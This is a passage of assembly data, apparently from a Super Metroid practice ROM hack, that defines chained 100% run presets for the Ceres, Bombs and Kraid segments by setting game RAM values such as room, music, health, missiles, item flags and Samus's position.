dl $7ED86E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED870 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED872 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED874 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED876 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED878 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED87A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED87C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED87E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED880 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED882 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED884 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED886 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED888 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED88A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED88C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED88E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED890 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED892 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED894 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED896 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED898 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED89A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED89C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED89E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8A0 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8A2 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8A4 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8A6 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8A8 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8AA : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8AC : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8AE : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8B0 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8B2 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8B4 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8B8 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8BC : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8BE : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8C0 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8C2 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8C4 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8C6 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8C8 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8CA : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8CC : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8CE : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8D0 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8D2 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8D4 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8D6 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8D8 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8DA : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8DC : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8DE : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8E0 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8E2 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8E4 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8E6 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8E8 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8EA : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8EC : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8EE : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8F0 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8F2 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8F4 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8F6 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8F8 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8FA : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8FC : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8FE : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED900 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED902 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED904 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED906 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED908 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED90A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED90C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED90E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED910 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED912 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED914 : db $02 : dw $001F ; Events, Items, Doors
dl $7ED916 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED918 : db $02 : dw $0006 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED91C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED91E : db $02 : dw $0000 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_bombs_ceres_last_3_rooms:
dw #preset_hundo_bombs_ceres_elevator ; Bombs: Ceres elevator
dl $7E078D : db $02 : dw $ABA0 ; DDB
dl $7E079B : db $02 : dw $E021 ; MDB
dl $7E07C3 : db $02 : dw $B004 ; GFX Pointers
dl $7E07C5 : db $02 : dw $E3C0 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0024 ; Music Bank
dl $7E07F5 : db $02 : dw $0007 ; Music Track
dl $7E090F : db $02 : dw $6900 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $E800 ; Screen subpixel Y position
dl $7E093F : db $02 : dw $0002 ; Ceres escape flag
dl $7E09C2 : db $02 : dw $0018 ; Health
dl $7E0A1C : db $02 : dw $0006 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $004A ; Samus X
dl $7E0AFA : db $02 : dw $009E ; Samus Y
dl $7ED82E : db $02 : dw $0001 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_bombs_ship:
dw #preset_hundo_bombs_ceres_last_3_rooms ; Bombs: Ceres Last 3 rooms
dl $7E078B : db $02 : dw $0012 ; Elevator Index
dl $7E078D : db $02 : dw $88FE ; DDB
dl $7E079B : db $02 : dw $91F8 ; MDB
dl $7E079F : db $02 : dw $0000 ; Region
dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers
dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers
dl $7E07F3 : db $02 : dw $0006 ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $03D0 ; Screen Y position in pixels
dl $7E093F : db $02 : dw $0000 ; Ceres escape flag
dl $7E09C2 : db $02 : dw $0063 ; Health
dl $7E0A1C : db $02 : dw $0000 ; Samus position/state
dl $7E0A1E : db $02 : dw $0000 ; More position/state
dl $7E0AF6 : db $02 : dw $0481 ; Samus X
dl $7E0AFA : db $02 : dw $0440 ; Samus Y
dl $7ED7D0 : db $02 : dw $4000 ; SRAM copy
dl $7ED7D2 : db $02 : dw $8000 ; SRAM copy
dl $7ED7D4 : db $02 : dw $0080 ; SRAM copy
dl $7ED7D6 : db $02 : dw $2000 ; SRAM copy
dl $7ED7D8 : db $02 : dw $0040 ; SRAM copy
dl $7ED7E0 : db $02 : dw $0018 ; SRAM copy
dl $7ED7F8 : db $02 : dw $0002 ; SRAM copy
dl $7ED7FA : db $02 : dw $0039 ; SRAM copy
dl $7ED802 : db $02 : dw $0001 ; SRAM copy
dl $7ED914 : db $02 : dw $0022 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_bombs_parlor_down:
dw #preset_hundo_bombs_ship ; Bombs: Ship
dl $7E078B : db $02 : dw $0000 ; Elevator Index
dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $1400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0400 ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $000C ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0033 ; Samus X
dl $7E0AFA : db $02 : dw $048B ; Samus Y
dl $7ED7E0 : db $02 : dw $0063 ; SRAM copy
dl $7ED7F8 : db $02 : dw $002A ; SRAM copy
dl $7ED7FA : db $02 : dw $0007 ; SRAM copy
dl $7ED7FC : db $02 : dw $0001 ; SRAM copy
dl $7ED8F8 : db $02 : dw $0001 ; Events, Items, Doors
dl $7ED914 : db $02 : dw $0005 ; Events, Items, Doors
dl $7ED918 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED91C : db $02 : dw $1010 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_bombs_morph:
dw #preset_hundo_bombs_parlor_down ; Bombs: Parlor down
dl $7E078D : db $02 : dw $8B9E ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $9E9F ; MDB
dl $7E079F : db $02 : dw $0001 ; Region
dl $7E07C3 : db $02 : dw $E6B0 ; GFX Pointers
dl $7E07C5 : db $02 : dw $64BB ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B2 ; GFX Pointers
dl $7E07F5 : db $02 : dw $0007 ; Music Track
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $0000 ; Samus position/state
dl $7E0A1E : db $02 : dw $0000 ; More position/state
dl $7E0AF6 : db $02 : dw $0580 ; Samus X
dl $7E0AFA : db $02 : dw $02A8 ; Samus Y
dl $7ED91A : db $02 : dw $0001 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_bombs_pit_room:
dw #preset_hundo_bombs_morph ; Bombs: Morph
dl $7E078D : db $02 : dw $8EB6 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $97B5 ; MDB
dl $7E079F : db $02 : dw $0000 ; Region
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09A2 : db $02 : dw $0004 ; Equipped Items
dl $7E09A4 : db $02 : dw $0004 ; Collected Items
dl $7E09C6 : db $02 : dw $0005 ; Missiles
dl $7E09C8 : db $02 : dw $0005 ; Max missiles
dl $7E0AF6 : db $02 : dw $0080 ; Samus X
dl $7E0AFA : db $02 : dw $0088 ; Samus Y
dl $7ED872 : db $02 : dw $0400 ; Events, Items, Doors
dl $7ED874 : db $02 : dw $0004 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0003 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_bombs_climb:
dw #preset_hundo_bombs_pit_room ; Bombs: Pit Room
dl $7E078D : db $02 : dw $8B92 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $975C ; MDB
dl $7E07F3 : db $02 : dw $0009 ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E0913 : db $02 : dw $6400 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $0059 ; Health
dl $7E0A1C : db $02 : dw $0008 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $0033 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED820 : db $02 : dw $0001 ; Events, Items, Doors
dl $7ED8B2 : db $02 : dw $0400 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0004 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_bombs_parlor_up:
dw #preset_hundo_bombs_climb ; Bombs: Climb
dl $7E078D : db $02 : dw $8B7A ; DDB
dl $7E079B : db $02 : dw $96BA ; MDB
dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $2400 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $0063 ; Health
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0AF6 : db $02 : dw $019C ; Samus X
dl $7E0AFA : db $02 : dw $005B ; Samus Y
dw #$FFFF
.after
preset_hundo_bombs_bomb_torizo:
dw #preset_hundo_bombs_parlor_up ; Bombs: Parlor up
dl $7E078D : db $02 : dw $8982 ; DDB
dl $7E078F : db $02 : dw $0003 ; DoorOut Index
dl $7E079B : db $02 : dw $9879 ; MDB
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $9400 ; Screen subpixel Y position
dl $7E09C6 : db $02 : dw $0000 ; Missiles
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $02D6 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED8B2 : db $02 : dw $2400 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_kraid_alcatraz:
dw #preset_hundo_bombs_bomb_torizo ; Bombs: Bomb Torizo
dl $7E078D : db $02 : dw $8BAA ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $4400 ; Screen subpixel Y position
dl $7E09A2 : db $02 : dw $1004 ; Equipped Items
dl $7E09A4 : db $02 : dw $1004 ; Collected Items
dl $7E09C6 : db $02 : dw $0004 ; Missiles
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0028 ; Samus X
dl $7ED828 : db $02 : dw $0004 ; Events, Items, Doors
dl $7ED870 : db $02 : dw $0080 ; Events, Items, Doors
dl $7ED8B2 : db $02 : dw $2C00 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0005 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_kraid_terminator:
dw #preset_hundo_kraid_alcatraz ; Kraid: Alcatraz
dl $7E078D : db $02 : dw $8BB6 ; DDB
dl $7E079B : db $02 : dw $92FD ; MDB
dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers
dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers
dl $7E090F : db $02 : dw $0800 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $6400 ; Screen subpixel Y position
dl $7E0A1C : db $02 : dw $0032 ; Samus position/state
dl $7E0A1E : db $02 : dw $0804 ; More position/state
dl $7E0AF6 : db $02 : dw $0115 ; Samus X
dl $7E0AFA : db $02 : dw $0095 ; Samus Y
dl $7E0B3F : db $02 : dw $0104 ; Blue suit
dw #$FFFF
.after
preset_hundo_kraid_pirates_shaft:
dw #preset_hundo_kraid_terminator ; Kraid: Terminator
dl $7E078D : db $02 : dw $895E ; DDB
dl $7E079B : db $02 : dw $990D ; MDB
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E090F : db $02 : dw $4280 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $01EB ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $00C7 ; Health
dl $7E09C4 : db $02 : dw $00C7 ; Max helath
dl $7E09C6 : db $02 : dw $0005 ; Missiles
dl $7E0A1C : db $02 : dw $000C ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $002E ; Samus X
dl $7E0AFA : db $02 : dw $028B ; Samus Y
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED870 : db $02 : dw $0180 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0006 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_kraid_elevator:
dw #preset_hundo_kraid_pirates_shaft ; Kraid: Pirates Shaft
dl $7E078D : db $02 : dw $8C22 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $9938 ; MDB
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $8C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $0002 ; Missiles
dl $7E0A1C : db $02 : dw $0006 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $0084 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED91A : db $02 : dw $0008 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_kraid_early_supers:
dw #preset_hundo_kraid_elevator ; Kraid: Elevator
dl $7E078D : db $02 : dw $8C0A ; DDB
dl $7E078F : db $02 : dw $0009 ; DoorOut Index
dl $7E079B : db $02 : dw $9AD9 ; MDB
dl $7E079F : db $02 : dw $0001 ; Region
dl $7E07C3 : db $02 : dw $E6B0 ; GFX Pointers
dl $7E07C5 : db $02 : dw $64BB ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B2 ; GFX Pointers
dl $7E07F3 : db $02 : dw $000F ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $041B ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $0000 ; Missiles
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $00AB ; Samus X
dl $7E0AFA : db $02 : dw $048B ; Samus Y
dl $7ED8B4 : db $02 : dw $0002 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0009 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_kraid_reverse_mockball:
dw #preset_hundo_kraid_early_supers ; Kraid: Early Supers
dl $7E078D : db $02 : dw $8D5A ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $9C07 ; MDB
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $9000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $3400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C0 : db $02 : dw $0001 ; Manual/Auto reserve tank
dl $7E09C2 : db $02 : dw $00B3 ; Health
dl $7E09C6 : db $02 : dw $000A ; Missiles
dl $7E09C8 : db $02 : dw $000F ; Max missiles
dl $7E09CA : db $02 : dw $0004 ; Supers
dl $7E09CC : db $02 : dw $0005 ; Max supers
dl $7E09D4 : db $02 : dw $0064 ; Max reserves
dl $7E0A1C : db $02 : dw $0008 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $003F ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED872 : db $02 : dw $040F ; Events, Items, Doors
dl $7ED8B4 : db $02 : dw $0042 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $000E ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_kraid_dachora_room:
dw #preset_hundo_kraid_reverse_mockball ; Kraid: Reverse Mockball
dl $7E078D : db $02 : dw $8D4E ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $9AD9 ; MDB
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $061A ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $00C7 ; Health
dl $7E09C6 : db $02 : dw $000F ; Missiles
dl $7E09C8 : db $02 : dw $0014 ; Max missiles
dl $7E09CA : db $02 : dw $0003 ; Supers
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $004D ; Samus X
dl $7E0AFA : db $02 : dw $068B ; Samus Y
dl $7ED870 : db $02 : dw $8180 ; Events, Items, Doors
dl $7ED8B4 : db $02 : dw $0046 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0011 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_kraid_big_pink:
dw #preset_hundo_kraid_dachora_room ; Kraid: Dachora Room
dl $7E078D : db $02 : dw $8CE2 ; DDB
dl $7E078F : db $02 : dw $0005 ; DoorOut Index
dl $7E079B : db $02 : dw $9CB3 ; MDB
dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0600 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $1800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $00C2 ; Health
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $06A5 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dw #$FFFF
.after
preset_hundo_kraid_green_hill_zone:
dw #preset_hundo_kraid_big_pink ; Kraid: Big Pink
dl $7E078D : db $02 : dw $8DAE ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $9D19 ; MDB
dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $77FF ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0618 ; Screen Y position in pixels
dl $7E09A6 : db $02 : dw $1000 ; Beams
dl $7E09A8 : db $02 : dw $1000 ; Beams
dl $7E09CA : db $02 : dw $0002 ; Supers
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $0365 ; Samus X
dl $7E0AFA : db $02 : dw $068B ; Samus Y
dl $7ED872 : db $02 : dw $048F ; Events, Items, Doors
dl $7ED8B4 : db $02 : dw $0246 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0014 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_kraid_red_tower:
dw #preset_hundo_kraid_green_hill_zone ; Kraid: Green Hill Zone
dl $7E078D : db $02 : dw $8E92 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $9FBA ; MDB
dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $E000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $00B8 ; Health
dl $7E09C6 : db $02 : dw $000E ; Missiles
dl $7E09CA : db $02 : dw $0003 ; Supers
dl $7E0AF6 : db $02 : dw $0590 ; Samus X
dl $7E0AFA : db $02 : dw $00AB ; Samus Y
dl $7ED8B6 : db $02 : dw $0008 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0015 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_kraid_kraid_entry:
dw #preset_hundo_kraid_red_tower ; Kraid: Red Tower
dl $7E078D : db $02 : dw $A348 ; DDB
dl $7E079B : db $02 : dw $CF80 ; MDB
dl $7E079F : db $02 : dw $0004 ; Region
dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers
dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0012 ; Music Bank
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $5C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels
dl $7E09A6 : db $02 : dw $1004 ; Beams
dl $7E09A8 : db $02 : dw $1004 ; Beams
dl $7E09C2 : db $02 : dw $00AF ; Health
dl $7E09C6 : db $02 : dw $0010 ; Missiles
dl $7E0AF6 : db $02 : dw $004B ; Samus X
dl $7E0AFA : db $02 : dw $018B ; Samus Y
dl $7ED874 : db $02 : dw $0404 ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $8008 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0016 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_kraid_kraid_2:
dw #preset_hundo_kraid_kraid_entry ; Kraid: Kraid Entry
dl $7E078D : db $02 : dw $919E ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $A56B ; MDB
dl $7E079F : db $02 : dw $0001 ; Region
dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers
dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0027 ; Music Bank
dl $7E07F5 : db $02 : dw $0006 ; Music Track
dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0400 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $0099 ; Health
dl $7E09C6 : db $02 : dw $000A ; Missiles
dl $7E0AF6 : db $02 : dw $01CC ; Samus X
dl $7ED8B8 : db $02 : dw $0024 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0017 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_kraid_leaving_varia:
dw #preset_hundo_kraid_kraid_2 ; Kraid: Kraid
dl $7E078D : db $02 : dw $91DA ; DDB
dl $7E079B : db $02 : dw $A6E2 ; MDB
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $6001 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09A2 : db $02 : dw $1005 ; Equipped Items
dl $7E09A4 : db $02 : dw $1005 ; Collected Items
dl $7E09C2 : db $02 : dw $00C7 ; Health
dl $7E09C6 : db $02 : dw $0012 ; Missiles
dl $7E09CA : db $02 : dw $0002 ; Supers
dl $7E09D6 : db $02 : dw $0004 ; Reserves
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $0027 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED828 : db $02 : dw $0104 ; Events, Items, Doors
dl $7ED876 : db $02 : dw $0001 ; Events, Items, Doors
dl $7ED8B8 : db $02 : dw $0064 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0018 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_kraid_leaving_kraid_hallway:
dw #preset_hundo_kraid_leaving_varia ; Kraid: Leaving Varia
dl $7E078D : db $02 : dw $91AA ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $A521 ; MDB
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0041 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $00BF ; Health
dl $7E09C6 : db $02 : dw $000F ; Missiles
dl $7E09CA : db $02 : dw $0005 ; Supers
